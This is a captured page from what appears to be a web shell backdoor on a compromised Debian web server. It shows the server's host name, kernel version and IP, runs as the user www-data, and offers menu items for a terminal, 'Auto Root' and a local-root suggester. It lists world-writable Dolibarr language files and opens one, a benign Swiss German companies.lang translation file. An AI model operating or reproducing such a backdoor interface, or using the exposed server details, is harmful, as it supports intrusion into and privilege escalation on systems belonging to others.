Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
ctm.bdcloud.fr /
langs /
de_CH /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
20.94
KB
-rwxrwxrwx
2020-09-03 11:39
admin.lang
50.82
KB
-rwxrwxrwx
2020-09-03 11:39
agenda.lang
3.97
KB
-rwxrwxrwx
2020-09-03 11:39
banks.lang
4.79
KB
-rwxrwxrwx
2020-09-03 11:39
bills.lang
13.15
KB
-rwxrwxrwx
2020-09-03 11:39
bookmarks.lang
707
B
-rwxrwxrwx
2020-09-03 11:39
boxes.lang
3.73
KB
-rwxrwxrwx
2020-09-03 11:39
categories.lang
4.92
KB
-rwxrwxrwx
2020-09-03 11:39
commercial.lang
1.6
KB
-rwxrwxrwx
2020-09-03 11:39
companies.lang
9.93
KB
-rwxrwxrwx
2020-09-03 11:39
compta.lang
2.08
KB
-rwxrwxrwx
2020-09-03 11:39
contracts.lang
665
B
-rwxrwxrwx
2020-09-03 11:39
cron.lang
470
B
-rwxrwxrwx
2020-09-03 11:39
deliveries.lang
713
B
-rwxrwxrwx
2020-09-03 11:39
dict.lang
947
B
-rwxrwxrwx
2020-09-03 11:39
donations.lang
128
B
-rwxrwxrwx
2020-09-03 11:39
ecm.lang
836
B
-rwxrwxrwx
2020-09-03 11:39
errors.lang
3.82
KB
-rwxrwxrwx
2020-09-03 11:39
exports.lang
319
B
-rwxrwxrwx
2020-09-03 11:39
help.lang
304
B
-rwxrwxrwx
2020-09-03 11:39
holiday.lang
4.04
KB
-rwxrwxrwx
2020-09-03 11:39
hrm.lang
495
B
-rwxrwxrwx
2020-09-03 11:39
install.lang
1.38
KB
-rwxrwxrwx
2020-09-03 11:39
interventions.lang
3.51
KB
-rwxrwxrwx
2020-09-03 11:39
languages.lang
332
B
-rwxrwxrwx
2020-09-03 11:39
ldap.lang
1.16
KB
-rwxrwxrwx
2020-09-03 11:39
loan.lang
607
B
-rwxrwxrwx
2020-09-03 11:39
mailmanspip.lang
402
B
-rwxrwxrwx
2020-09-03 11:39
mails.lang
2.59
KB
-rwxrwxrwx
2020-09-03 11:39
main.lang
16.59
KB
-rwxrwxrwx
2020-09-03 11:39
margins.lang
1.21
KB
-rwxrwxrwx
2020-09-03 11:39
members.lang
3.1
KB
-rwxrwxrwx
2020-09-03 11:39
mrp.lang
105
B
-rwxrwxrwx
2020-09-03 11:39
opensurvey.lang
2.61
KB
-rwxrwxrwx
2020-09-03 11:39
orders.lang
3.41
KB
-rwxrwxrwx
2020-09-03 11:39
other.lang
2.04
KB
-rwxrwxrwx
2020-09-03 11:39
paybox.lang
804
B
-rwxrwxrwx
2020-09-03 11:39
printing.lang
1.78
KB
-rwxrwxrwx
2020-09-03 11:39
productbatch.lang
944
B
-rwxrwxrwx
2020-09-03 11:39
products.lang
6.86
KB
-rwxrwxrwx
2020-09-03 11:39
projects.lang
1.45
KB
-rwxrwxrwx
2020-09-03 11:39
propal.lang
913
B
-rwxrwxrwx
2020-09-03 11:39
receiptprinter.lang
458
B
-rwxrwxrwx
2020-09-03 11:39
receptions.lang
1.94
KB
-rwxrwxrwx
2020-09-03 11:39
resource.lang
330
B
-rwxrwxrwx
2020-09-03 11:39
sendings.lang
694
B
-rwxrwxrwx
2020-09-03 11:39
sms.lang
969
B
-rwxrwxrwx
2020-09-03 11:39
stocks.lang
1.85
KB
-rwxrwxrwx
2020-09-03 11:39
supplier_proposal.lang
2.22
KB
-rwxrwxrwx
2020-09-03 11:39
suppliers.lang
1.9
KB
-rwxrwxrwx
2020-09-03 11:39
ticket.lang
296
B
-rwxrwxrwx
2020-09-03 11:39
trips.lang
929
B
-rwxrwxrwx
2020-09-03 11:39
users.lang
2.91
KB
-rwxrwxrwx
2020-09-03 11:39
website.lang
580
B
-rwxrwxrwx
2020-09-03 11:39
withdrawals.lang
292
B
-rwxrwxrwx
2020-09-03 11:39
workflow.lang
2.45
KB
-rwxrwxrwx
2020-09-03 11:39
Save
Rename
# Dolibarr language file - Source file is en_US - companies ErrorSetACountryFirst=Wähle zuerst das Land SelectThirdParty=Wähle einen Geschäftspartner ConfirmDeleteCompany=Willst du diesen Geschäftspartner und alle damit verbundenen Informationen wirklich löschen? ConfirmDeleteContact=Willst du diesen Kontakt und alle damit verbundenen Informationen wirklich löschen? MenuNewThirdParty=Erzeuge Geschäftspartner MenuNewCustomer=Erzeuge Kunde MenuNewSupplier=Neuer Lieferant NewCompany=Erzeuge Partner (Lead / Kunde / Lieferant) NewThirdParty=Erzeuge Geschäftspartner (Lead / Kunde / Lieferant) CreateDolibarrThirdPartySupplier=Erstelle einen Lieferant CreateThirdPartyOnly=Geschäftspartner erstellen CreateThirdPartyAndContact=Erzeuge Geschäftspartner mit Kontakt IdThirdParty=Geschäftspartner ID IdCompany=Unternehmens ID IdContact=Kontakt ID ThirdPartyContact=Geschäftspartner-Kontakt Companies=Unternehmen CountryIsInEEC=EU - Staat PriceFormatInCurrentLanguage=Währungsanzeige dieser Sprache ThirdPartyName=Name des Geschäftspartners ThirdPartyEmail=E-Mail des Geschäftspartners ThirdPartyProspectsStats=Interessenten Statistik ThirdPartyType=Typ des Geschäftspartners ToCreateContactWithSameName=Erzeuge einen Kontakt mit den selben Angaben, wie der Geschäftspartner. Meistens (auch wenn der Partner eine natürliche Person ist), braucht es das nicht. ReportByMonth=Monatsbericht ReportByCustomers=Kundenbericht PostOrFunction=Position NatureOfThirdParty=Typ des Geschäftspartners NatureOfContact=Typ des Geschäftspartners State=Kanton StateCode=Kanton Region-State=Land / Region CountryCode=Ländercode PhoneShort=Telefon No_Email=E-Mail kampagnen ablehnen DefaultLang=Standardsprache VATIsUsed=MWST - pflichtig VATIsUsedWhenSelling=Gib hier an, ob der Geschäftspartner MWST - Steuerpflichtig ist. VATIsNotUsed=Nicht MWST - pflichtig CopyAddressFromSoc=Übernehme die Adresse vom Geschäftspartner ThirdpartyNotCustomerNotSupplierSoNoRef=Hoppla, der Partner ist weder Kunde noch Lieferant, keine Objekte zum Verknüpfen verfügbar. ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=Hoppla, der Partner ist weder Kunde noch Lieferant, keine Rabatte verfügbar. PaymentBankAccount=Bankkonto für Zahlung OverAllInvoices=Rechnungen OverAllSupplierProposals=Generelle Preisanfragen LocalTax1IsUsed=Zweite Steuer verwenden LocalTax2IsUsed=Dritte Steuer nutzen WrongCustomerCode=Kunden-Code ungültig WrongSupplierCode=Lieferanten-Code ungültig CustomerCodeModel=Kunden-Code-Modell SupplierCodeModel=Lieferanten - Code Format ProfId1AR=Prof Id 1 (CUIT) ProfId2AR=Prof Id 2 (Revenu Bestien) ProfId1AT=Prof Id 1 ProfId4AT=Prof Id 4 ProfId1BE=Prof Id 1 (Anzahl Professionnel) ProfId1BR=CNPJ ProfId2BR=IE (Staatliche Behörde) ProfId3BR=IM (kommunale Behörde) ProfId1CH=-- ProfId3CH=Prof Id 1 (Bundes-Nummer) ProfId4CH=Prof Id 2 (Commercial Record-Nummer) ProfId1DE=Umsatzsteuer-Identifikationsnummer ProfId4DE=Steuernummer ProfId1ES=Prof Id 1 (CIF / NIF) ProfId2ES=Prof Id 2 (Social Security Number) ProfId4ES=Prof Id 4 (Collegiate Anzahl) ProfId3FR=Prof Id 3 (NAF, alte APE) ProfId4FR=Prof Id 4 (RCS / RM) ProfId5FR=Prof Id 5 ProfId1GB=Prof Id 1 (Registration Number) ProfId3GB=Prof Id 3 (SIC) ProfId2IN=Prof Id 2 ProfId3IN=Prof Id 3 ProfId1LU=Id prof. 1 (R.C.S. Luxemburg) ProfId2LU=Id. Prof. 2 ProfId3LU=Id. Prof. 3 ProfId4LU=Id. Prof. 4 ProfId5LU=Id. Prof. 5 ProfId6LU=Id. Prof. 6 ProfId5MA=Id prof. 5 (C.I.C.E) ProfId4NL=- ProfId2PT=Prof Id 2 (Social Security Number) ProfId3PT=Prof Id 3 (Commercial Record-Nummer) ProfId4PT=Prof Id 4 (Konservatorium) ProfId2TN=Prof Id 2 (Geschäftsjahr matricule) ProfId3TN=Prof Id 3 (Douane-Code) ProfId1US=Employer Identification Number (FEIN) ProfId2US=Id. Prof. 6 ProfId3US=Id. Prof. 6 ProfId4US=Id. Prof. 6 ProfId5US=Id. Prof. 6 ProfId6US=Id. Prof. 6 ProfId1RU=Prof ID 1 (OGRN) ProfId3DZ=TIN – Steuer-Identifikationsnummer (EU) VATIntra=MWST - Nummer VATIntraShort=MWST - Nummer VATReturn=MWST Rückerstattung CustomerCard=Kundenkarte CustomerRelativeDiscountShort=Rabatt rel. CustomerAbsoluteDiscountShort=Rabatt abs. CompanyHasNoRelativeDiscount=Dieser Kunde hat standardmässig keinen relativen Rabatt HasRelativeDiscountFromSupplier=Dieser Lieferant gibt standardmässig <b>%s%%</b> Rabatt. HasNoRelativeDiscountFromSupplier=Du hast keinen Standardrabatt bei diesem Lieferanten. CompanyHasAbsoluteDiscount=Dieser Kunde hat noch Rabatt-Gutschriften <b>über %s %s</b> CompanyHasDownPaymentOrCommercialDiscount=Dieser Kunde hat noch Rabatt-Gutschriften <b>über %s %s</b> HasNoAbsoluteDiscountFromSupplier=Du hast keine Gutschriften von diesem Lieferanten übrig. HasAbsoluteDiscountFromSupplier=Du hast bei diesem Lieferanten noch <b>%s</b> %s Gutschriften (Gutscheine oder Anzahlungen) zur Verfügung. HasDownPaymentOrCommercialDiscountFromSupplier=Du hast bei diesem Lieferanten noch <b>%s</b> %s Gutschriften (kaufmännisch, Anzahlungen) zur Verfügung. HasCreditNoteFromSupplier=Du hast Gutscheine über <b>%s</b>%s von diesem Lieferanten. CustomerAbsoluteDiscountAllUsers=Absolute Kundenrabatte (von allen Vertretern gewährt) CustomerAbsoluteDiscountMy=Absolute Kundenrabatte (von dir gewährt) SupplierAbsoluteDiscountAllUsers=Absolute Lieferantenrabatte (von allen Vertretern angegeben) SupplierAbsoluteDiscountMy=Absolute Lieferantenrabatte (von dir selbst eingegeben) AddContact=Kontakt erstellen AddContactAddress=Kontakt/Adresse erstellen ContactId=Kontakt ID FromContactName=Name NoContactDefinedForThirdParty=Für diesen Geschäftspartner ist kein Kontakt eingetragen NoContactDefined=Kein Kontakt vorhanden ContactByDefaultFor=Standardkontakt für AddThirdParty=Geschäftspartner erstellen CustomerCodeShort=Kundennummer CustomerCodeDesc=Kundennummer, eindeutig für jeden Kunden SupplierCodeDesc=Lieferantennummer, eindeutig für jeden Lieferanten RequiredIfCustomer=Erforderlich falls Geschäftspartner Kunde oder Interessent ist RequiredIfSupplier=Erforderlich, wenn der Partner Lieferant ist ValidityControledByModule=Durch Modul validiert ListOfThirdParties=Liste der Geschäftspartner ShowContact=Zeige Kontaktangaben ContactsAllShort=Alle (Kein Filter) ContactForOrdersOrShipments=Bestellungs- oder Lieferkontakt ContactForProposals=Offertskontakt NoContactForAnyOrder=Kein Kontakt für Bestellungen NoContactForAnyOrderOrShipments=Dieser Kontakt ist kein Kontakt für eine Bestellung oder Lieferung NoContactForAnyProposal=Kein Kontakt für Offerte NoContactForAnyContract=Kein Kontakt für Verträge NoContactForAnyInvoice=Dieser Kontakt ist kein Kontakt für jegliche Rechnung NewContactAddress=Neuer Kontakt / Adresse MyContacts=Meine Kontakte ThisUserIsNot=Dieser Benutzer ist weder ein Lead, Kunde, noch Lieferant VATIntraCheckDesc=Der Link <b>%s</b> frägt die MWST - Nummer im Europäischen Verzeichnis (VIES) ab. Deshalb muss die MWST Nummer das Länderprefix haben. VATIntraCheckableOnEUSite=Innergemeinschaftliche MWST Nummer überprüfen (EU Website) VATIntraManualCheck=MWST - Nummer manuell überprüfen lassen: <a href="%s" target="_blank">%s</a>. NorProspectNorCustomer=Weder Interessent noch Kunde ProspectLevel=Lead-Potenzial ContactPrivate=Privat ContactPublic=Öffentlich OthersNotLinkedToThirdParty=Andere, nicht mit einem Geschäftspartner verknüpfte Projekte TE_GROUP=Grossunternehmen TE_WHOLE=Distributor StatusProspect-1=Nicht kontaktieren StatusProspect0=Noch kein Kontaktversuch StatusProspect3=Erfolgreich kontaktiert ProspectsByStatus=Leads nach Status NoParentCompany=Keine Mutterfirma ContactNotLinkedToCompany=Kontakt keinem Geschäftspartner zugeordnet DolibarrLogin=Dolibarr Benutzername ExportDataset_company_1=Geschäftspartner und ihre Eigenschaften ExportDataset_company_2=Kontakte und deren Eigenschaften ImportDataset_company_1=Geschäftspartner und deren Eigenschaften ImportDataset_company_2=Zusätzliche Kontakte / Adressen und Attribute von Geschäftspatnern ImportDataset_company_3=Geschäftspartner - Bankverbindungen ImportDataset_company_4=Geschäftspartner - Vertriebsmitarbeiter (Zuordnung von Vertriebsmitarbeitern/Benutzern zu Geschäftspartnern) PriceLevel=Preisniveau PriceLevelLabels=Preisniveau - Labels ConfirmDeleteFile=Sind Sie sicher dass Sie diese Datei löschen möchten? AllocateCommercial=Vertriebsmitarbeiter zuweisen FiscalMonthStart=Ab Monat des Geschäftsjahres YouMustAssignUserMailFirst=Für E-Mail - Benachrichtigung hinterlegst du bitte zuerst eine E-Mail Adresse im Benutzerprofil. YouMustCreateContactFirst=Sie müssen erst E-Mail-Kontakte beim Geschäftspartner anlegen, um E-Mail-Benachrichtigungen hinzufügen zu können. ListCustomersShort=Kundenliste LastModifiedThirdParties=Die letzten %s bearbeiteten Partner UniqueThirdParties=Anzahl Geschäftspartner InActivity=Offen ActivityCeased=Inaktiv ThirdPartyIsClosed=Der Partner ist inaktiv. OutstandingBillReached=Kreditlimit erreicht OrderMinAmount=Mindestbestellmenge MonkeyNumRefModelDesc=Generiere die Kundennummer im Format %syymm-nnnn und die Lieferantennummer als %syymm-nnnn. (y=Jahr; m=Monat; n=fortlaufende Zahl). MergeOriginThirdparty=Geschäftspartner duplizieren (Geschäftspartner, den Sie löschen möchten) MergeThirdparties=Zusammenführen von Geschäftspartnern ConfirmMergeThirdparties=Willst du diesen Partner wirklich mit dem aktuellen Verbinden?\nAlle verknüpften Objekte werden dabei übernommen und dann der gewählte Partner gelöscht. ThirdpartiesMergeSuccess=Ich habe die Partner erfolgreich zusammengeführt. SaleRepresentativeLogin=Login des Verkaufsmitarbeiters SaleRepresentativeFirstname=Vorname des Vertreters SaleRepresentativeLastname=Nachname des Vertreters ErrorThirdpartiesMerge=Hoppla, da ist etwas beim Löschen des Partners schief gelaufen...\nAber ich habe die Verknüpfung Rückgängig gemacht.\nBitte prüfe die Logs. NewCustomerSupplierCodeProposed=Diese Nummer ist schon im Gebrauch. Wähle eine andere. PaymentTypeCustomer=Kundenzahlung PaymentTermsCustomer=Zahlungsbedingungen für Kunden PaymentTypeSupplier=Lieferantenzahlung PaymentTermsSupplier=Zahlungsbedingungen für Lieferanten PaymentTypeBoth=Zahlungsweise - Kunden und Lieferanten MulticurrencyUsed=Benutze Multiwährungsfähigkeit